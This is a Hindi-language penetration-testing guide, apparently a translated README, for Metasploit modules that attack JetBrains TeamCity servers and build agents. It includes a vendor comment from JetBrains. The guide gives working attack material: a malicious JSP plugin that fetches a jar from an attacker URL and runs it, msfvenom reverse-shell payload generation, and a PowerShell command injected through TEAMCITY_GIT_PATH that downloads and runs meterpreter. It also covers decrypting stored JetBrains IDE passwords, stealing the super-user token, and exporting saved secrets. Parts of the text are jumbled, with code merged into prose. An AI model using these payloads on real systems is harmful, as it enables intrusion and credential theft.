
Metasploit का उपयोग करके TeamCity पेनटेस्ट करें
TL;DR: JetBrains IDE (जैसे IntelliJ या PyCharm) से पासवर्ड प्राप्त करें और उन क्रेडेंशियल्स का उपयोग TeamCity Continuous Integration Server के अंदर करें ताकि Kacper Szurek द्वारा metasploit का उपयोग करके सर्वर और बिल्ड एजेंट्स पर meterpreter सेशन प्राप्त किया जा सके।




यह विक्रेता (JetBrains TeamCity टीम) की ओर से Yegor Yarko द्वारा एक टिप्पणी है:
OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` यह meterpreter को डाउनलोड और निष्पादित करने की अनुमति देगा। संकलित `.jar` फ़ाइल [यहाँ](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip) है।लेख की अधिकांश सामग्री बताती है कि दुर्भावनापूर्ण उपयोगकर्ता TeamCity का दुरुपयोग कैसे कर सकते हैं यदि उन्हें ऐसा करने की उचित अनुमति दी गई हो। उदाहरण के लिए, सिस्टम एडमिनिस्ट्रेटर भूमिका (सर्वर पर पूर्ण नियंत्रण प्रदान करती है) वाला उपयोगकर्ता एक दुर्भावनापूर्ण TeamCity प्लगइन स्थापित कर सकता है या सर्वर तक "सुपर यूज़र" पहुँच के लिए टोकन प्राप्त कर सकता है। साथ ही, प्रोजेक्ट एडमिनिस्ट्रेटर भूमिका वाला उपयोगकर्ता एजेंट पर मनमाना कोड चला सकता है या कॉन्फ़िगर किए गए रिपॉजिटरी एक्सेस पासवर्ड प्राप्त कर सकता है। यह व्यवहार TeamCity द्वारा एक उत्पाद के रूप में प्रदान की गई कार्यक्षमता का हिस्सा है। इन विचारों का वर्णन TeamCity दस्तावेज़ीकरण के में किया गया है।
वर्णित मुद्दे बताते हैं कि किसी दुर्भावनापूर्ण अभिकर्ता को उच्च विशेषाधिकार प्रदान करना कितना खतरनाक हो सकता है। TeamCity सर्वर प्रशासकों को नियमित रूप से उपयोगकर्ताओं की अनुमतियों की समीक्षा करनी चाहिए ताकि संभावित दुर्भावनापूर्ण उपयोगकर्ताओं को वे अनुमतियाँ न दी जाएँ जिनका वे दुरुपयोग कर सकते हैं; यदि सक्षम है, तो अतिथि उपयोगकर्ता अनुमतियों की समीक्षा करें। दूसरी बात यह है कि अपने टर्मिनलों को कहीं भी गैर-तुच्छ अनुमतियों के साथ लॉग इन होने पर लावारिस न छोड़ें।
लेख में दो वास्तविक सुरक्षा चिंताओं का उल्लेख किया गया है: एक एक दुर्भावनापूर्ण बिल्ड आर्टिफैक्ट प्रकाशित करने और किसी प्रशासक उपयोगकर्ता को इसे ब्राउज़र में देखने के लिए प्रेरित करने से संबंधित है, और दूसरा कस्टम बिल्ड चलाने की अनुमति को TeamCity एजेंट पर मनमाना कोड निष्पादन में बढ़ाने का है। बाद वाले का TeamCity के अधिकांश इंस्टॉलेशन पर केवल मामूली प्रभाव पड़ता है क्योंकि इस अनुमति वाले लोगों के पास पहले से ही एजेंट पर कोई भी कोड चलाने की क्षमता होती है।
फिर भी, हम उपरोक्त चिंताओं को निकटतम TeamCity रिलीज़ में से एक में संबोधित करने जा रहे हैं, और उन्हें हमारे ध्यान में लाने के लिए धन्यवाद।
मान लीजिए कि आप एक सॉफ्टवेयर कंपनी के अंदर पेनिट्रेशन टेस्टिंग कर रहे हैं जो Jetbrains स्टैक का उपयोग करती है। आप metasploit का उपयोग कर रहे हैं और डेवलपर कंप्यूटर पर meterpreter सेशन प्राप्त करते हैं।
आप आगे क्या कर सकते हैं? 2015 के Nikhil SamratAshok Mittal द्वारा TeamCity पेंटेस्टिंग के बारे में एक लेख है।
इस पोस्ट में मैं सुरक्षा नोट्स और BugTrack से कई तकनीकों को संयोजित करता हूँ और उन्हें Metasploit मॉड्यूल में डालता हूँ।
नोट: मैं यहाँ किसी 0 दिन का उपयोग नहीं कर रहा हूँ। हर कार्रवाई के लिए आपको मान्य TeamCity क्रेडेंशियल्स की आवश्यकता है। JetBrains टिप्पणी देखें।
मैं इस स्क्रिप्ट से होने वाले किसी भी नुकसान के लिए जिम्मेदार नहीं हूँ। डेटा सुरक्षा के लिए set CLEANUP false के साथ उपयोग करें।
TeamCity 2017.2.1 (build 50732) पर परीक्षण किया गया।
KeePass डेटाबेस को डिकोड करने के लिए हमें kdbx Ruby लाइब्रेरी की आवश्यकता है।
find / -name "metasploit-framework.gemspec"vim /usr/share/metasploit-framework/metasploit-framework.gemspecspec.add_runtime_dependency 'kdbx', '0.2.0'cd /usr/share/metasploit-framework/ && bundle installअब आप:
mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/postteamcity.rb और serverplugin.zip को ~/.msf4/modules/exploits में कॉपी करेंjetbrains.rb को ~/.msf4/modules/post में कॉपी करेंmsfconsolereload_allTeamCity को प्लगइन का उपयोग करके सभी JetBrains IDE के साथ आसानी से एकीकृत किया जा सकता है।

यदि Remember me विकल्प का उपयोग किया जाता है, तो पासवर्ड IntelliJ Platform Credentials Store API का उपयोग करके संग्रहीत किए जाते हैं। आप स्रोत कोड यहाँ पा सकते हैं।
विंडोज पर डिक्रिप्शन प्रक्रिया इस प्रकार दिखती है:

pdb.pw फ़ाइल विंडोज CryptUnprotectData का उपयोग करके डिक्रिप्ट की जाती है। इसका मतलब है कि केवल वही उपयोगकर्ता जिसने डेटा एन्क्रिप्ट किया है, उसे डिकोड कर सकता है।c.kdbx KeePass डेटाबेस को अब बिंदु 2 से मास्टर पासवर्ड का उपयोग करके डिक्रिप्ट किया जा सकता है0xDFAA का उपयोग करके xor किए जाते हैंडिफ़ॉल्ट रूप से मास्टर पासवर्ड यादृच्छिक होता है। इसे विकल्पों के अंदर बदला जा सकता है:

लेकिन इससे कुछ नहीं बदलता।
इसका केवल यह मतलब है कि KeePass डेटाबेस c.kdbx को एक अलग पासवर्ड का उपयोग करके एन्क्रिप्ट किया जाएगा। स्थानीय उपयोगकर्ता pdb.pw फ़ाइल से इस पासवर्ड को आसानी से प्राप्त कर सकता है।
मान लीजिए कि आपके पास #1 के साथ एक मान्य Meterpreter सेशन है```
use post/jetbrains
set SESSION 1
exploit
आउटपुट कुछ इस प्रकार दिखता है:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit
[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed
अभी आपके पास जेटब्रेन्स मेटास्प्लॉइट मॉड्यूल से टीमसिटी क्रेडेंशियल्स हैं। वर्तमान उपयोगकर्ता भूमिका के आधार पर आप निम्न कार्य कर सकते हैं:
| सर्वर पर शेल | बिल्ड एजेंटों पर शेल | सुपर यूजर | सहेजे गए क्रेडेंशियल्स | |
|---|---|---|---|---|
| प्रशासक | ✔️ | ✔️ | ✔️ | ✔️ सभी प्रोजेक्ट के लिए |
| लॉग-इन उपयोगकर्ता | ❌ | ✖️ केवल विंडोज एजेंटों पर | ❌ | ❌ |
| अतिथि उपयोगकर्ता | ❌ | ❌ | ❌ | ❌ |
| सर्वर पर शेल | बिल्ड एजेंटों पर शेल | सुपर यूजर | सहेजे गए क्रेडेंशियल्स | |
|---|---|---|---|---|
| सिस्टम प्रशासक | ✔️ | ✔️ | ✔️ | ✔️ सभी प्रोजेक्ट के लिए |
| प्रोजेक्ट प्रशासक | ❌ | ✔️ | ❌ | ✔️ |
| प्रोजेक्ट डेवलपर | ❌ | ✖️ केवल विंडोज एजेंटों पर | ❌ | ❌ |
| प्रोजेक्ट दर्शक | ❌ | ❌ | ❌ | ❌ |
कृपया ध्यान दें कि मेटास्प्लॉइट मॉड्यूल कस्टम भूमिकाओं का समर्थन नहीं करता है।
टीमसिटी को प्लगइन्स का उपयोग करके आसानी से विस्तारित किया जा सकता है।

इस कार्यक्षमता का उपयोग करके एक दुर्भावनापूर्ण प्लगइन बनाना संभव है जो मीटरप्रेटर सत्र चलाएगा।
Hello.jsp के अंदर डालें: ```java
<%@ page import="java.io.File" %>Server Administration->Diagnostics->Browse Data Directory पर जाएं और प्लगइन को plugins निर्देशिका में अपलोड करें। (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)
Server Administration->Diagnostics->Troubleshooting->Restart server का उपयोग करके सर्वर को पुनरारंभ करें (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)
.jar फ़ाइल को http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jar का उपयोग करके निष्पादित कर सकते हैंएक TeamCity Build Agent एक सॉफ्टवेयर का टुकड़ा है जो TeamCity सर्वर से कमांड सुनता है और वास्तविक बिल्ड प्रक्रियाएं शुरू करता है। इसे TeamCity सर्वर से अलग स्थापित और कॉन्फ़िगर किया जाता है। एक एजेंट को सर्वर के समान कंप्यूटर पर या किसी भिन्न मशीन पर स्थापित किया जा सकता है।
शोषण इस प्रकार दिखता है:

सरल शब्दों में: हम java meterpreter उत्पन्न करते हैं जिसे git सर्वर पर होस्ट किया जाता है। फिर हम एक बिल्ड कॉन्फ़िगरेशन बनाते हैं जो हमारे meterpreter को git सर्वर से डाउनलोड करता है और कमांड लाइन का उपयोग करके एजेंटों पर चलाता है।
1. meterpreter पेलोड उत्पन्न करें: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar
2. Git सर्वर पर meterpreter.jar होस्ट करें (उदाहरण के लिए https://gogs.io/ का उपयोग करके)
3. यदि आपके पास System Administrator विशेषाधिकार हैं तो आप नया प्रोजेक्ट बना सकते हैं (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu)। यदि आप Project Developer हैं तो आपको उस प्रोजेक्ट को संपादित करने की आवश्यकता है जिसमें आपकी पहुँच है।

4. बिंदु 2 से डेटा का उपयोग करके अपने प्रोजेक्ट में VCS रूट जोड़ें

5. नई बिल्ड कॉन्फ़िगरेशन बनाएँ

6. बिल्ड कॉन्फ़िगरेशन में बिल्ड स्टेप जोड़ें

| कुंजी | मान |
|---|---|
| रनर प्रकार | कमांड लाइन |
| स्टेप निष्पादित करें | हमेशा, भले ही बिल्ड रोकने का आदेश जारी किया गया हो |
| चलाएँ | पैरामीटर के साथ निष्पादन योग्य |
| कमांड निष्पादन योग्य | %teamcity.agent.jvm.java.home%/bin/java |
| कमांड पैरामीटर | -jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar |
7. मेटास्प्लॉइट मल्टी हैंडलर तैयार करें: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit
8. सभी संगत एजेंटों पर व्यक्तिगत कस्टम बिल्ड चलाएँ

## विंडोज बिल्ड एजेंटों पर शेल
डिफ़ॉल्ट रूप से `Project Developer` बिल्ड स्टेप्स को संशोधित/निर्मित नहीं कर सकता।
इसलिए हमारी दुर्भावनापूर्ण कमांड लाइन को जोड़ना और निष्पादित करना संभव नहीं है।
हम विंडोज पर [कस्टम एनवायरनमेंट वेरिएबल्स](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables) का उपयोग करके इसे बायपास करने का प्रयास कर सकते हैं। कैसे?
Teamcity [एजेंट पर गिट चेकआउट](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode) का समर्थन करता है।
बिल्ड स्टेप निष्पादन से पहले, एजेंट गिट सर्वर से नवीनतम डेटा डाउनलोड कर रहा है:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}
एजेंट जाँच रहा है कि क्या पर्यावरण चर TEAMCITY_GIT_PATH मौजूद है। यदि हाँ, तो इसका उपयोग git बाइनरी के पथ के रूप में किया जाता है।
TeamCity प्रोजेक्ट में डेवलपर उस बिल्ड को चला सकता है जिसकी उसके पास पहुँच है और कस्टम पर्यावरण चर निर्दिष्ट कर सकता है।
इसलिए हम env.TEAMCITY_GIT_PATH को सेट कर रहे हैं:```
"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

बिल्ड लॉग में यह इस प्रकार दिखता है:```
[2018-01-30 20:54:55,342] INFO - jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"
[2018-01-30 20:54:55,343] INFO - jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718] WARN - jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+ ~~~~~~~
+ CategoryInfo : ObjectNotFound: (version:String) [], CommandNotF
oundException
+ FullyQualifiedErrorId : CommandNotFoundException
TeamCity में super user account नाम की चीज़ होती है। यह आपको सिस्टम एडमिनिस्ट्रेटर अनुमतियों के साथ सर्वर UI तक पहुँचने की अनुमति देता है यदि आपको क्रेडेंशियल याद नहीं हैं या प्रमाणीकरण-संबंधी सेटिंग्स को ठीक करने की आवश्यकता है।
यदि आपके पास System Administrator विशेषाधिकार हैं, तो Server Administration->Diagnostics->Server logs->teamcity-server.log पर जाएं और स्ट्रिंग Super user authentication token खोजें (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):```
[2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.
अब आप लॉगिन कर सकते हैं: `http://teamcity/login.html?super=1`
## सहेजी गई क्रेडेंशियल्स
TeamCity `VCS root passwords`, `password parameters` या `SSH keys` जैसी चीज़ों को एन्क्रिप्टेड रूप में संग्रहीत करता है और वेब या एपीआई इंटरफ़ेस पर उनकी सामग्री नहीं दिखाता है।
लेकिन इसे `export` फ़ंक्शन का उपयोग करके बायपास किया जा सकता है। **Your project->Settings Export->Export** पर जाएं

उन फ़ाइलों की सामग्री इस प्रकार है:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
<name>exploiter</name>
<parameters />
<project-extensions>
<extension id="PROJECT_EXT_2" type="OAuthProvider">
<parameters>
<param name="displayName" value="Docker Registry" />
<param name="providerType" value="Docker" />
<param name="repositoryUrl" value="https://docker.io" />
<param name="secure:userPass" value="zxxyour_encrypted_passwords" />
<param name="userName" value="my_user_name" />
</parameters>
</extension>
</project-extensions>
<cleanup />
</project>
एन्क्रिप्टेड स्ट्रिंग्स zxx से शुरू होती हैं और स्थिर कुंजी के साथ DES का उपयोग करके एन्कोड की जाती हैं।
जैसा कि हम Teamcity Bug Tracker #TW-27206 में पढ़ सकते हैं: Malicious data in build artifacts can initiate XSS attack.
वर्तमान में, बिल्ड आर्टिफैक्ट्स से सभी .html (और कुछ अन्य) फ़ाइलें ब्राउज़र में क्लिक करने पर रेंडर हो जाती हैं।
मैंने छोटा कोड स्निपेट बनाया है जो नया व्यवस्थापक खाता बनाने का प्रयास करता है।
यह हमला कैसा दिख सकता है? हम व्यवस्थापक को हमारे दुर्भावनापूर्ण आर्टिफैक्ट पर जाने के लिए मनाने की कोशिश कर रहे हैं जो इस यूआरएल पर उपलब्ध है: http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html

TeamCity आपको अतिथि लॉगिन चालू करने की अनुमति देता है जो TeamCity वेब UI तक अनाम पहुंच प्रदान करता है।
एक सर्वर व्यवस्थापक Administration | Authentication page पर अतिथि लॉगिन सक्षम कर सकता है।
आप इसका उपयोग बिल्ड आर्टिफैक्ट्स प्राप्त करने के लिए कर सकते हैं।
मूल उपयोग:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit
आउटपुट इस तरह दिखता है:
अतिरिक्त विकल्प:
| नाम | विवरण |
|:---:|:---:|
|PROJECT_ID|प्रोजेक्ट आईडी निर्दिष्ट करें, डिफ़ॉल्ट रूप से यह नया रैंडम प्रोजेक्ट बनाएगा|
|BUILD_TYPE_ID|बिल्ड टाइप आईडी निर्दिष्ट करें, डिफ़ॉल्ट रूप से यह नया रैंडम बिल्ड टाइप बनाएगा|
|VCS_ID|VCS आईडी निर्दिष्ट करें, डिफ़ॉल्ट रूप से यह नया रैंडम VCS बनाएगा|
|CLEANUP|बनाए गए प्रोजेक्ट/बिल्ड/VCS रूट को हटाएं|
|SERVER_PLUGIN|[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip) का पथ|
|GIT_PATH|GIT निर्देशिका का पथ|
# समस्या निवारण
1. मैं Metasploit मॉड्यूल लोड नहीं कर सकता
जांचें कि क्या आपने `teamcity.rb` को `~/.msf4/modules/exploits` और `jetbrains.rb` को `~/.msf4/modules/post` निर्देशिका में कॉपी किया है।
Metasploit में एक्सप्लॉइट मॉड्यूल `exploits` डीआईआर में और पोस्ट मॉड्यूल `post` डीआईआर में होने चाहिए।
2. चेतावनी! निम्नलिखित मॉड्यूल लोड नहीं किए जा सके! LoadError: cannot load such file -- kdbx
क्या आपने [kdbx मॉड्यूल](#installation) इंस्टॉल किया है? यदि हाँ, तो Metasploit से बाहर निकलें और इसे फिर से चलाएं। `reload_all` कमांड का उपयोग करें।
3. मैं Mac/Linux पर स्थापित IDE से पासवर्ड प्राप्त नहीं कर सकता
वर्तमान में केवल Windows समर्थित है। क्षमा करें।
4. पोस्ट विफल: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: ऑपरेशन विफल: 1
संभवतः आप java मीटरप्रेटर का उपयोग कर रहे हैं। इसमें कुछ महत्वपूर्ण API नहीं है। `windows/meterpreter/reverse_tcp` पर माइग्रेट करें और पुनः प्रयास करें।
5. SYSTEM के रूप में चल रहा है, डेटा डिक्रिप्ट नहीं कर सकता
क्योंकि पासवर्ड `CryptUnprotectData` API का उपयोग करके एन्क्रिप्ट किए जाते हैं, डिकोडिंग फ़ंक्शन को सामान्य उपयोगकर्ता खाते के संदर्भ में चलाने की आवश्यकता है।
6. मुझे [सर्वर पर शेल](#shell-on-server) नहीं मिल रहा है
एक्सप्लॉइट को दूसरी बार चलाएं।
7. `teamcit.rb` तब भी काम नहीं कर रहा है जब वर्तमान उपयोगकर्ता के पास पर्याप्त अनुमतियाँ हों
यह मॉड्यूल कस्टम भूमिकाओं का समर्थन नहीं करता है।
8. %path% के अंदर git नहीं मिल सका। कृपया GIT_PATH बदलें
हमें Git सर्वर सेट करने के लिए `git` और `git-upload-pack` बाइनरी की आवश्यकता है जो हमारे मीटरप्रेटर की मेजबानी करेगा। मैंने [यहाँ](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html) से विचार का उपयोग किया।
```
set GIT_PATH /your/path/to/git/dir
```
9. `username:password` के रूप में लॉगिन नहीं कर सकते
क्रेडेंशियल्स दोबारा जांचें:
set USERNAME your_user_name
set PASSWORD your_password
10. सर्वर प्लगइन नहीं मिल सका: %path%। कृपया SERVER_PLUGIN संशोधित करें
बताएं कि [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip) कहाँ संग्रहीत है
set SERVER_PLUGIN /your/path/to/serverplugin.zip
11. [-] एक्सप्लॉइट विफल: Rex::RuntimeError दिया गया संसाधन पहले से जोड़ा गया है।
`jobs -K` का उपयोग करके बैकग्राउंड जॉब्स को मारें।
12. कृपया LHOST को 0.0.0.0 के बजाय किसी विशिष्ट IP पते से बांधें
विशिष्ट IP पते से बांधें, जैसे: ```
use LHOST 192.168.1.123
आपके पास विशिष्ट परियोजना के लिए अनुमतियाँ नहीं हैं। देखें कि आपकी किस परियोजना तक पहुँच है, अर्थात: ``` You can modify only following projects: ["test", "second"]
और फिर प्रोजेक्ट आईडी निर्दिष्ट करें: ```
set PROJECT_ID test
java/meterpreter/reverse_tcp ही क्यों उपलब्ध है?क्योंकि यह पोर्टेबल है। is_payload_compatible? फ़ंक्शन को संशोधित करने में बेझिझक रहें।
डिबगिंग सक्षम करें:
set HttpTrace 1
set LogLevel 3